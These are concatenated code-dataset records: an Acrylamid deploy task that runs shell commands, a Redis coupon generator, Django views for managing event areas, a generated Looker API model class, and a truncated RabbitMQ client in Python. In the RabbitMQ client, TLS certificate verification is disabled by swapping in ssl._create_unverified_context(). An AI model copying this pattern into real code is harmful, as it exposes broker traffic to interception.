deploy task ARG1 ARG2`` is appended to cmd.\"\"\"\n\n if options.task is None:\n for task in conf.get('deployment', {}).keys():\n print >>sys.stdout, task\n sys.exit(0)\n\n task, args = options.task, options.args\n cmd = conf.get('deployment', {}).get(task, None)\n\n if not cmd:\n raise AcrylamidException('no tasks named %r in conf.py' % task)\n\n # apply ARG1 ARG2 ... and -v --long-args to the command, e.g.:\n # $> acrylamid deploy task arg1 -b --foo\n cmd += ' ' + ' '.join(args)\n\n if '%s' in cmd:\n log.warn(\"'%s' syntax is deprecated, use $OUTPUT_DIR variable.\")\n cmd = cmd.replace('%s', '$OUTPUT_DIR')\n\n env = os.environ\n env.update(dict([(k.upper(), v) for k, v in conf.items() if isinstance(v, basestring)]))\n\n log.info('execute %s', cmd)\n p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n\n while True:\n output = p.stdout.read(1)\n if output == '' and p.poll() != None:\n break\n if output != '':\n sys.stdout.write(output)\n sys.stdout.flush()\n", "sub_path": "acrylamid/tasks/deploy.py", "file_name": "deploy.py", "file_ext": "py", "file_size_in_byte": 1824, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "acrylamid.tasks.argument", "line_number": 15, "usage_type": "call"}, {"api_name": "argparse.REMAINDER", "line_number": 15, "usage_type": "attribute"}, {"api_name": "acrylamid.tasks.task", "line_number": 26, "usage_type": "name"}, {"api_name": "sys.stdout", "line_number": 27, "usage_type": "attribute"}, {"api_name": "acrylamid.tasks.task", "line_number": 27, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 28, "usage_type": "call"}, {"api_name": "acrylamid.tasks.task", "line_number": 30, "usage_type": "name"}, {"api_name": "acrylamid.tasks.task", "line_number": 31, "usage_type": "argument"}, {"api_name": "acrylamid.errors.AcrylamidException", "line_number": 34, "usage_type": "call"}, {"api_name": "acrylamid.tasks.task", "line_number": 34, "usage_type": "name"}, {"api_name": "acrylamid.log.warn", "line_number": 41, "usage_type": "call"}, {"api_name": "acrylamid.log", "line_number": 41, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 44, "usage_type": "attribute"}, {"api_name": "acrylamid.log.info", "line_number": 47, "usage_type": "call"}, {"api_name": "acrylamid.log", "line_number": 47, "usage_type": "name"}, {"api_name": "subprocess.Popen", "line_number": 48, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 48, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 55, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 55, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 56, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 56, "usage_type": "attribute"}, {"api_name": "acrylamid.tasks.task", "line_number": 18, "usage_type": "call"}]} {"seq_id": "244142231", "text": "import redis\nfrom data import Data\n\ndef gen(head=\"CX\",endtime=\"2016.10.1\",amount=200):\n salt = endtime + endtime + endtime\n for i in range(1,amount+1):\n yield head + str(abs(hash(str(i) + salt + str(i))))\n\nx = gen()\nd = Data(hashName = \"0003\")\n\nprint(123)\nfor i in list(x):\n d.set(i,i)\n\n\nfor i in list(x):\n print(d.get(i))\n print(1)\n \ndef check(f,code):\n x = f()\n if code in list(x):\n return True\n return False\n\nprint(check(gen,\"CX4380371458663503116\"))\nd.set(\"asd\",\"111\")\nprint(d.get(\"CX3871706864350190952\"))\n", "sub_path": "0003/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 552, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "data.Data", "line_number": 10, "usage_type": "call"}]} {"seq_id": "553344467", "text": "from django.conf import settings\nfrom django_mako_plus.controller import view_function\nfrom django.http import HttpResponse, HttpResponseRedirect, Http404\nfrom django.http import HttpRequest\n\nfrom django.shortcuts import render\nfrom django_mako_plus.controller.router import get_renderer\nimport homepage.models as hmod\nfrom django import forms\n\nfrom datetime import datetime\nimport random\n\n##########################Author's Summary############################\n# This page includes methods to manage areas of the event. \n#\n######################################################################\ntemplater = get_renderer('events')\n\n@view_function\ndef process_request(request):\n params = {}\n Area = hmod.Area.objects.all().order_by('id')\n params['Area'] = Area\n\n return templater.render_to_response(request, 'manageareas.html', params)\n\n@view_function\ndef edit(request):\n params = {}\n\n try:\n Area = hmod.Area.objects.get(id=request.urlparams[0])\n except hmod.Area.DoesNotExist:\n return HttpResponseRedirect('/events/manageareas/')\n\n form = AreasEditForm(initial={\n 'name' : Area.name,\n 'description' : Area.description,\n 'event' : Area.event.id,\n 'supervisor' : Area.supervisor.id,\n 'coordinator' : Area.coordinator.id,\n })\n\n if request.method == 'POST':\n form = AreasEditForm(request.POST)\n if form.is_valid():\n Area.name = form.cleaned_data['name']\n Area.description = form.cleaned_data['description']\n Area.event = hmod.Event.objects.get(id=form.cleaned_data['event'])\n Area.supervisor = hmod.myUsers.objects.get(id=form.cleaned_data['supervisor'])\n Area.coordinator = hmod.myUsers.objects.get(id=form.cleaned_data['coordinator'])\n\n Area.save()\n return HttpResponseRedirect('/events/manageareas/')\n\n params['form'] = form\n\n return templater.render_to_response(request, 'manageareas.edit.html', params)\n\nclass AreasEditForm(forms.Form):\n name = forms.CharField(max_length=100)\n description = forms.CharField(max_length=100, required=False)\n event = forms.IntegerField(required=False)\n supervisor = forms.IntegerField(required=False)\n coordinator = forms.IntegerField(required=False)\n \n@view_function\ndef delete(request):\n params = {}\n \n hmod.Area.objects.get(id=request.urlparams[0]).delete()\n return HttpResponseRedirect('/events/manageareas/')\n\n@view_function\ndef create(request):\n params = {}\n\n Area = hmod.Area()\n Area.name = ''\n Area.description = ''\n e = hmod.Event.objects.get(id=100)\n Area.event = e\n d = hmod.myUsers.objects.get(id=100)\n Area.supervisor = d\n Area.coordinator = d\n Area.save()\n\n return HttpResponseRedirect('/events/manageareas.edit/{}/'.format(Area.id))\n \n", "sub_path": "events/views/manageareas.py", "file_name": "manageareas.py", "file_ext": "py", "file_size_in_byte": 2829, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django_mako_plus.controller.router.get_renderer", "line_number": 18, "usage_type": "call"}, {"api_name": "homepage.models.Area.objects.all", "line_number": 23, "usage_type": "call"}, {"api_name": "homepage.models.Area", "line_number": 23, "usage_type": "attribute"}, {"api_name": "homepage.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django_mako_plus.controller.view_function", "line_number": 20, "usage_type": "name"}, {"api_name": "homepage.models.Area.objects.get", "line_number": 33, "usage_type": "call"}, {"api_name": "homepage.models.Area", "line_number": 33, "usage_type": "attribute"}, {"api_name": "homepage.models", "line_number": 33, "usage_type": "name"}, {"api_name": "homepage.models.Area", "line_number": 34, "usage_type": "attribute"}, {"api_name": "homepage.models", "line_number": 34, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 35, "usage_type": "call"}, {"api_name": "homepage.models.Event.objects.get", "line_number": 50, "usage_type": "call"}, {"api_name": "homepage.models.Event", "line_number": 50, "usage_type": "attribute"}, {"api_name": "homepage.models", "line_number": 50, "usage_type": "name"}, {"api_name": "homepage.models.myUsers.objects.get", "line_number": 51, "usage_type": "call"}, {"api_name": "homepage.models.myUsers", "line_number": 51, "usage_type": "attribute"}, {"api_name": "homepage.models", "line_number": 51, "usage_type": "name"}, {"api_name": "homepage.models.myUsers.objects.get", "line_number": 52, "usage_type": "call"}, {"api_name": "homepage.models.myUsers", "line_number": 52, "usage_type": "attribute"}, {"api_name": "homepage.models", "line_number": 52, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 55, "usage_type": "call"}, {"api_name": "django_mako_plus.controller.view_function", "line_number": 28, "usage_type": "name"}, {"api_name": "django.forms.Form", "line_number": 61, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 61, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 62, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 62, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 63, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 63, "usage_type": "name"}, {"api_name": "django.forms.IntegerField", "line_number": 64, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 64, "usage_type": "name"}, {"api_name": "django.forms.IntegerField", "line_number": 65, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 65, "usage_type": "name"}, {"api_name": "django.forms.IntegerField", "line_number": 66, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 66, "usage_type": "name"}, {"api_name": "homepage.models.Area.objects.get", "line_number": 72, "usage_type": "call"}, {"api_name": "homepage.models.Area", "line_number": 72, "usage_type": "attribute"}, {"api_name": "homepage.models", "line_number": 72, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 73, "usage_type": "call"}, {"api_name": "django_mako_plus.controller.view_function", "line_number": 68, "usage_type": "name"}, {"api_name": "homepage.models.Area", "line_number": 79, "usage_type": "call"}, {"api_name": "homepage.models", "line_number": 79, "usage_type": "name"}, {"api_name": "homepage.models.Event.objects.get", "line_number": 82, "usage_type": "call"}, {"api_name": "homepage.models.Event", "line_number": 82, "usage_type": "attribute"}, {"api_name": "homepage.models", "line_number": 82, "usage_type": "name"}, {"api_name": "homepage.models.myUsers.objects.get", "line_number": 84, "usage_type": "call"}, {"api_name": "homepage.models.myUsers", "line_number": 84, "usage_type": "attribute"}, {"api_name": "homepage.models", "line_number": 84, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 89, "usage_type": "call"}, {"api_name": "django_mako_plus.controller.view_function", "line_number": 75, "usage_type": "name"}]} {"seq_id": "128839423", "text": "# coding: utf-8\n\n\"\"\"\n Experimental Looker API 3.1 Preview\n\n This API 3.1 is in active development. Breaking changes are likely to occur to some API functions in future Looker releases until API 3.1 is officially launched and upgraded to beta status. If you have time and interest to experiment with new or modified services exposed in this embryonic API 3.1, we welcome your participation and feedback! For large development efforts or critical line-of-business projects, we strongly recommend you stick with the API 3.0 while API 3.1 is under construction. # noqa: E501\n\n OpenAPI spec version: 3.1.0\n \n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\nfrom looker_client_31.looker_sdk.dialect import Dialect # noqa: F401,E501\nfrom looker_client_31.looker_sdk.snippet import Snippet # noqa: F401,E501\n\n\nclass DBConnectionBase(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'name': 'str',\n 'dialect': 'Dialect',\n 'snippets': 'list[Snippet]',\n 'can': 'dict(str, bool)'\n }\n\n attribute_map = {\n 'name': 'name',\n 'dialect': 'dialect',\n 'snippets': 'snippets',\n 'can': 'can'\n }\n\n def __init__(self, name=None, dialect=None, snippets=None, can=None): # noqa: E501\n \"\"\"DBConnectionBase - a model defined in Swagger\"\"\" # noqa: E501\n\n self._name = None\n self._dialect = None\n self._snippets = None\n self._can = None\n self.discriminator = None\n\n if name is not None:\n self.name = name\n if dialect is not None:\n self.dialect = dialect\n if snippets is not None:\n self.snippets = snippets\n if can is not None:\n self.can = can\n\n @property\n def name(self):\n \"\"\"Gets the name of this DBConnectionBase. # noqa: E501\n\n Name of the connection. Also used as the unique identifier # noqa: E501\n\n :return: The name of this DBConnectionBase. # noqa: E501\n :rtype: str\n \"\"\"\n return self._name\n\n @name.setter\n def name(self, name):\n \"\"\"Sets the name of this DBConnectionBase.\n\n Name of the connection. Also used as the unique identifier # noqa: E501\n\n :param name: The name of this DBConnectionBase. # noqa: E501\n :type: str\n \"\"\"\n\n self._name = name\n\n @property\n def dialect(self):\n \"\"\"Gets the dialect of this DBConnectionBase. # noqa: E501\n\n (Read-only) SQL Dialect details # noqa: E501\n\n :return: The dialect of this DBConnectionBase. # noqa: E501\n :rtype: Dialect\n \"\"\"\n return self._dialect\n\n @dialect.setter\n def dialect(self, dialect):\n \"\"\"Sets the dialect of this DBConnectionBase.\n\n (Read-only) SQL Dialect details # noqa: E501\n\n :param dialect: The dialect of this DBConnectionBase. # noqa: E501\n :type: Dialect\n \"\"\"\n\n self._dialect = dialect\n\n @property\n def snippets(self):\n \"\"\"Gets the snippets of this DBConnectionBase. # noqa: E501\n\n SQL Runner snippets for this connection # noqa: E501\n\n :return: The snippets of this DBConnectionBase. # noqa: E501\n :rtype: list[Snippet]\n \"\"\"\n return self._snippets\n\n @snippets.setter\n def snippets(self, snippets):\n \"\"\"Sets the snippets of this DBConnectionBase.\n\n SQL Runner snippets for this connection # noqa: E501\n\n :param snippets: The snippets of this DBConnectionBase. # noqa: E501\n :type: list[Snippet]\n \"\"\"\n\n self._snippets = snippets\n\n @property\n def can(self):\n \"\"\"Gets the can of this DBConnectionBase. # noqa: E501\n\n Operations the current user is able to perform on this object # noqa: E501\n\n :return: The can of this DBConnectionBase. # noqa: E501\n :rtype: dict(str, bool)\n \"\"\"\n return self._can\n\n @can.setter\n def can(self, can):\n \"\"\"Sets the can of this DBConnectionBase.\n\n Operations the current user is able to perform on this object # noqa: E501\n\n :param can: The can of this DBConnectionBase. # noqa: E501\n :type: dict(str, bool)\n \"\"\"\n\n self._can = can\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, DBConnectionBase):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "sub_path": "looker_client_31/looker_sdk/db_connection_base.py", "file_name": "db_connection_base.py", "file_ext": "py", "file_size_in_byte": 6039, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "six.iteritems", "line_number": 164, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 186, "usage_type": "call"}]} {"seq_id": "255166785", "text": "'''\n修订人：\n修订时间：\n修订内容：\n1、\n2、\n3、\n'''\n# encoding='utf-8'\ntry:\n import os, sys, json, copy, time, threading, pika, ssl\nexcept Exception as err:\n print('库文件导入失败!请检查需要导入的库文件是否已正确安装.\\n错误信息如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n\ncurrent_path = os.path.abspath(__file__)\nfather_path = os.path.abspath(os.path.dirname(current_path) + os.path.sep + \".\")\n\nssl_opts = {\n \"ca_certificate\": str(father_path + '\\\\cacert.pem').replace('\\\\', '/'),\n \"cert_reqs\": ssl.CERT_REQUIRED,\n \"ssl_version\": ssl.PROTOCOL_TLSv1_2,\n \"agentjsac.cert\": str(father_path + '\\\\agentjsac.cert.pem').replace('\\\\', '/'),\n \"agentjsac.key\": str(father_path + '\\\\agentjsac.key.pem').replace('\\\\', '/')\n}\n\n\nclass rabbitmq():\n '''\n 程序默认环境为CentOS7.5；支持Python3.6～3.7\n rabbitmq需要第三方库pika,没有相关库的,执行如下命令即可:\n sudo pip3 install pika\n '''\n\n def __init__(self, host='', name='', passwd='', base_path='', port=5671):\n '''\n 初始化rabbitmq类:host为rabbitmq服务器地址;name为rabbitmq服务器登陆帐号;passwd为rabbitmq登陆密码;queue为传输管道;port为rabbit服务器侦听端口,默认为5672\n 类的实例化方法为:实例化类名.rabbitmq('rabbitmq服务器地址','rabbitmq侦听端口:可以留空','登陆帐号:不可以留空','登陆密码:不可以留空')\n host:rabbitmq主机地址\n name:rabbitmq登陆帐号\n passwd:rabbitmq登陆密码\n base_path:case单元测试例的文件夹绝对地址\n port:rabbitmq的端口,默认为:5672!!!不是15672!!!\n '''\n if (not name) or (not passwd) or (not host) or (not base_path):\n print('rabbitmq服务器地址,帐号和密码以及单元测试例的绝对目录地址都不可以为空!')\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n else:\n self.__host = str(host) # Rabbitmq服务器地址\n self.__name = str(name) # Rabbitmq用户名\n self.__passwd = str(passwd) # Rabbitmq用户密码\n self.__rabbitmq_path = base_path\n # 数据流量周期上报队列\n self.__flow_exchange_type = 'topic'\n self.__flow_durable = True\n # 控制指令交互队列\n self.__manage_exchange_type = 'direct'\n self.__manage_durable = True\n # 全局队列\n self.__global_exchange_type = 'topic'\n self.__global_durable = True\n if not port:\n port = 5671\n self.__port = int(port) # Rabbitmq端口号\n self.__thread_time = {} # 关闭当前类时,定义为关闭时的时间戳\n self.__domain = [] # 保存queue-domain值\n '''\n 如果python的执行目录不是当前目录,递归查找的时候,容易出现异常错误,避免出现异常,写死查找路径\n '''\n base_path = os.path.dirname(os.path.abspath(__file__)) # 获取当前项目文件夹\n base_path = base_path.replace('\\\\', '/')\n self.__base_path = base_path\n sys.path.insert(0, base_path) # 将当前目录添加到系统环境变量,方便下面导入版本配置等文件\n try: # 导入版本配置等文件\n import baseinfo as info\n except Exception as err:\n print('版本配置文件导入失败!请检查: ' + base_path + '/common/baseinfo.py 文件是否存在.\\n错误信息如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n else:\n del sys.path[0] # 及时删除导入的环境变量,避免重复导入造成的异常错误\n try:\n self.__version = info.version # 获取版本号\n except Exception as err:\n print('版本号获取失败!请检查是否设置了版本号.错误信息如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n base_path = os.path.dirname(self.__base_path) # 获取当前项目的上级文件夹\n self.__logs_path = base_path\n # 验证并创建log保存目录\n if not os.path.exists(base_path + '/Logs/' + str(self.__version)): # 如果保存当前版本的logs目录不存在,就创建\n try:\n os.makedirs(base_path + '/Logs/' + str(self.__version))\n except Exception as err:\n print('保存当前版本的Logs目录创建失败!请检查文件夹是否有操作权限.\\n错误信息如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n try:\n if port == 5671:\n context = ssl.create_default_context(cafile=ssl_opts[\"ca_certificate\"])\n context = ssl._create_unverified_context()\n context.load_cert_chain(ssl_opts[\"agentjsac.cert\"], ssl_opts[\"agentjsac.key\"])\n ssl_options = pika.SSLOptions(context, self.__host)\n self.__rabbitmq = pika.ConnectionParameters(self.__host, self.__port, '/',\n pika.PlainCredentials(self.__name, self.__passwd),\n ssl_options=ssl_options) # 定义Rabbitmq连接\n print(self.__rabbitmq)\n elif port == 5672:\n self.__rabbitmq = pika.ConnectionParameters(self.__host, self.__port, '/',\n pika.PlainCredentials(self.__name, self.__passwd)\n ) # 定义Rabbitmq连接\n print(self.__rabbitmq)\n except Exception as err:\n print('Rabbitmq初始化失败!: ' + str(self.__host) + ':' + str(self.__port) + ' \\n请检查相关参数的顺序和数据是否有误.错误内容如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n else:\n # ssh服务器连接状态\n self.__state = 0\n print('Rabbitmq初始化完成: ' + str(self.__host) + ':' + str(self.__port))\n '''\n try:\n print('self.base_path: '+self.__rabbitmq_path+'/message.py')\n #获取当前项目文件夹\n if not os.path.exists(self.__rabbitmq_path+'/message.py'):\n print('请输入正确的单元测试例目录,并且在单元测试例目录下要存在message.py文件!\\nmessage.py源文件在: '+str(self.__base_path)+' 目录下.')\n sys.exit(0)#避免程序继续运行造成的异常崩溃,友好退出程序\n with open(self.__rabbitmq_path+'/message.py','r',encoding='utf-8') as f:\n self.__msg=json.loads(f.read())\n except Exception as err:\n print('获取预设信息失败!错误信息如下:')\n print(err)\n sys.exit(0)#避免程序继续运行造成的异常崩溃,友好退出程序\n '''\n #\n # def connect(self):\n # '''\n # 连接Rabbitmq服务器\n # 调用方式为:实例化类名.connect()\n # '''\n # if self.__state:\n # print('Rabbitmq服务器: ' + str(self.__host) + ':' + str(\n # self.__port) + ' 已连接!如果想建立新的连接,请执行:实例化类名.close()关闭以前的连接后,重新执行本方法.')\n # sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n # else:\n # try:\n # # 建立连接\n # self.__s_rabbitmq = pika.BlockingConnection(self.__rabbitmq) # 连接发送信息管道\n # # 建立通道\n # self.__s_channel: pika.adapters.blocking_connection.BlockingChannel = self.__s_rabbitmq.channel()\n # except Exception as err:\n # print('Rabbitmq连接服务器: ' + str(self.__host) + ':' + str(\n # self.__port) + ' 失败!请检查相关参数的顺序和数据是否有误.\\n服务器和本地网络异常也会导致连接失败.错误内容如下:')\n # print(err)\n # sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n # else:\n # self.__state = 1\n # print('Rabbitmq服务器连接: ' + str(self.__host) + ':' + str(self.__port) + ' 成功.')\n\n def close(self):\n '''\n 关闭Rabbitmq服务器连接\n 调用方式为:实例化类名.close()\n '''\n if self.__state:\n try:\n self.__s_rabbitmq.close()\n except Exception as err:\n print('Rabbitmq连接: ' + str(self.__host) + ':' + str(self.__port) + ' 关闭失败!请检查相关配置.错误内容如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n else:\n self.__state = 0\n\n print('Rabbitmq连接: ' + str(self.__host) + ':' + str(self.__port) + ' 已断开.')\n else:\n print('Rabbitmq连接: ' + str(self.__host) + ':' + str(self.__port) + ' 在此之前未成功连接或在此之前已断开连接.')\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n\n def reset(self, **exc):\n '''\n 设置交换机类型和durable的值\n 调用方式为:实例化类名.reset('交换机基础类型设置字典')\n 一般只有在调用send()发送信息失败时才调用\n 传入参数格式为:\n {'name':'flow','value':'topic','able':'ture'}或\n {'name':'manage','value':'topic','able':'ture'}或\n {'name':'global','value':'topic','able':'ture'}\n 只有在调用send失败时,根据错误信息进行修改\n flow,manage,global分别对应:流量周期上报队列,控制指令交互队列,全局队列\n value:根据错误信息提示输入不同的类型\n able:根据错误信息提示,输入ture或false\n '''\n msg = '''\n\t\treset方法传入参数格式为:\n\t\t{'name':'flow','value':'topic','able':'ture'}或\n\t\t{'name':'manage','value':'topic','able':'ture'}或\n\t\t{'name':'global','value':'topic','able':'ture'}\n\t\t只有在调用send失败时,根据错误信息进行修改\n\t\tflow,manage,global分别对应:流量周期上报队列,控制指令交互队列,全局队列\n\t\tvalue:根据错误信息提示输入不同的类型\n\t\table:根据错误信息提示,输入ture或false'''\n if not isinstance(exc, dict): # 如果不是字典类型,自动停止\n print(msg)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n key = exc.keys() # 返回所有的建\n if ('name' not in key) and (('value' not in key) or ('able' not in key)):\n print(msg)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n if exc['name'] != 'flow' and exc['name'] != 'manage' and exc['name'] != 'global':\n print(msg)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n if exc['name'] == 'flow':\n if 'value' in key:\n self.__flow_exchange_type = exc['value']\n if 'able' in key:\n self.__flow_durable = exc['able']\n if exc['name'] == 'manage':\n if 'value' in key:\n self.__manage_exchange_type = exc['value']\n if 'able' in key:\n self.__manage_durable = exc['able']\n if exc['name'] == 'global':\n if 'value' in key:\n self.__global_exchange_type = exc['value']\n if 'able' in key:\n self.__global_durable = exc['able']\n\n def send(self, exc='ManageExchange', method='', domain='', path=''):\n '''\n 通过交换机向rabbitmq发送信息\n 调用方式为:实例化类名.send('交换机名称','后台处理methodname','agent的域名','发送的信息:以字典的形式,否则会报错!')\n exc:交换机名称,不可为空\n method:后台处理的methodname,可为空\n domain:agent的域名\n **msg:要向Rabbitmq发送的信息,以字典的形式存储\n 如果提示:exchange_type或durable错误,请先执行reset方法后,再调用本方法.具体操作方式可查看reset的帮助文档.\n '''\n if not exc:\n print('请输入交换机名称!')\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n if not domain:\n print('请输入anget主机名domain!\\nanegt主机名由后台服务提供.')\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n if exc == 'ManageExchange':\n exc_type = self.__manage_exchange_type\n able = self.__manage_durable\n elif exc == 'GlobalExchange':\n exc_type = self.__global_exchange_type\n able = self.__global_durable\n else:\n exc_type = self.__flow_exchange_type\n able = self.__flow_durable\n # try:\n # \tprint('-----------'+path+'--------------------')\n # \t# path = path.replace('\\\\', '/')\n # \t# sys.path.insert(0, path)\n # \tif not os.path.exists(path+'/message.py'):\n # \t\tprint('请输入正确的单元测试例目录,并且在单元测试例目录下要存在message.py文件!')\n # \t\tsys.exit(0)\n # \t# path = path.split('/')[-1]\n # \t# # with open(path+'/message.py','r',encoding='utf-8') as f:\n # \t# \t# self.__msg=json.loads(f.read())\n # \t# self.__msg = message.data\n # \t# del sys.path[0]\n # except Exception as err:\n # \tprint('获取rmb接口参数失败，错误信息如下：')\n # \tprint(err)\n # \tsys.exit(0)\n\n if method:\n # if method not in self.__msg.keys():\n msg_0 = method\n # print('methodname输入错误!请检查后重新输入.\\n如果添加了新的methodname,请在: '+path+'/message.py 文件中修改相应的配置.')\n # sys.exit(0)#避免程序继续运行造成的异常崩溃,友好退出程序\n # else:\n # \tmsg_0 = copy.deepcopy(self.__msg[method])#获取要发送的信息\n else:\n print('请输入有效的Methodname!')\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n try:\n try:\n # 建立连接\n self.__s_rabbitmq = pika.BlockingConnection(self.__rabbitmq) # 连接发送信息管道\n # 建立通道\n self.__s_channel: pika.adapters.blocking_connection.BlockingChannel = self.__s_rabbitmq.channel()\n # 连接交换机\n self.__s_channel.exchange_declare(exchange=exc, exchange_type=exc_type, durable=able)\n except Exception as err:\n print('Rabbitmq连接服务器: ' + str(self.__host) + ':' + str(\n self.__port) + ' 失败!请检查相关参数的顺序和数据是否有误.\\n服务器和本地网络异常也会导致连接失败.错误内容如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n else:\n self.__state = 1\n print('Rabbitmq服务器连接: ' + str(self.__host) + ':' + str(self.__port) + ' 成功.')\n\n except Exception as err:\n print('exchange=%s,exchange_type=%s,durable=%s' % {exc, exc_type, able})\n print('send:交换机连接失败!可能是网络原因或配置信息错误.错误信息如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n try: # 需要后台提供queue,然后对exchange绑定queue,将消息传输到对应的queue\n self.__s_channel.queue_bind(exchange=exc, queue=domain + '.down')\n except Exception as err:\n print('queue绑定失败!可能是网络原因或配置信息错误.错误信息如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n try:\n msg_0['MessageTime'] = str(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n msg_0 = json.dumps(msg_0)\n self.__s_channel.basic_publish(exchange=exc, routing_key=domain + '.down', body=msg_0) # 向交换机exc发送数据msg\n except Exception as err:\n print('向Rabbitmq发送信息失败!错误信息如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n else:\n print('向Rabbitmq发送信息成功!')\n self.__thread_time[domain] = time.time() # 将当前domian最后一次发送成功信息的时间保存\n with open(self.__logs_path + '/Logs/' + str(self.__version) + '/rabbitmq.logs', 'a', encoding='utf-8') as f:\n f.write('Domain: ' + str(domain) + ' Send: ' + str(msg_0) + '\\n\\n')\n if domain not in self.__domain: # 如果接收线程未开启\n try:\n self.__domain.append(domain)\n rev = threading.Thread(target=self.__receive, args=(exc, self.__domain[-1]), name=str(domain))\n rev.start()\n except Exception as err:\n del self.__domain[-1]\n print('Domain值为: ' + str(self.__domain[-1]) + '的Rabbitmq信息接收线程获取失败!\\n错误信息如下:')\n print(err)\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n else:\n print('Domain值为: ' + str(self.__domain[-1]) + '的Rabbitmq信息接收线程已开启!')\n\n def __receive(self, exc='', domain=''):\n '''\n receive线程函数,内部调用,不可外部访问\n '''\n if not exc:\n print('请输入交换机名称!')\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n if not domain:\n print('请输入anget主机名domain!\\nanegt主机名由后台服务提供.')\n sys.exit(0) # 避免程序继续运行造成的异常崩溃,友好退出程序\n if exc == 'ManageExchange':\n exc_type = self.__manage_exchange_type\n able = self.__manage_durable\n elif exc == 'GlobalExchange':\n exc_type = self.__global_exchange_type\n able = self.__global_durable\n else:\n exc_type = self.__flow_exchange_type\n able = self.__flow_durable\n try:\n r_rabbitmq = 'self.__r_' + str(domain) + 'rabbitmq'\n r_channel = 'self.__r_' + str(domain) + 'channel'\n globals()[r_rabbitmq] = pika.BlockingConnection(self.__rabbitmq)\n globals()[r_channel] = globals()[r_rabbitmq].channel()\n except Exception as err:\n print('创建domain为: ' + str(domain) + ' 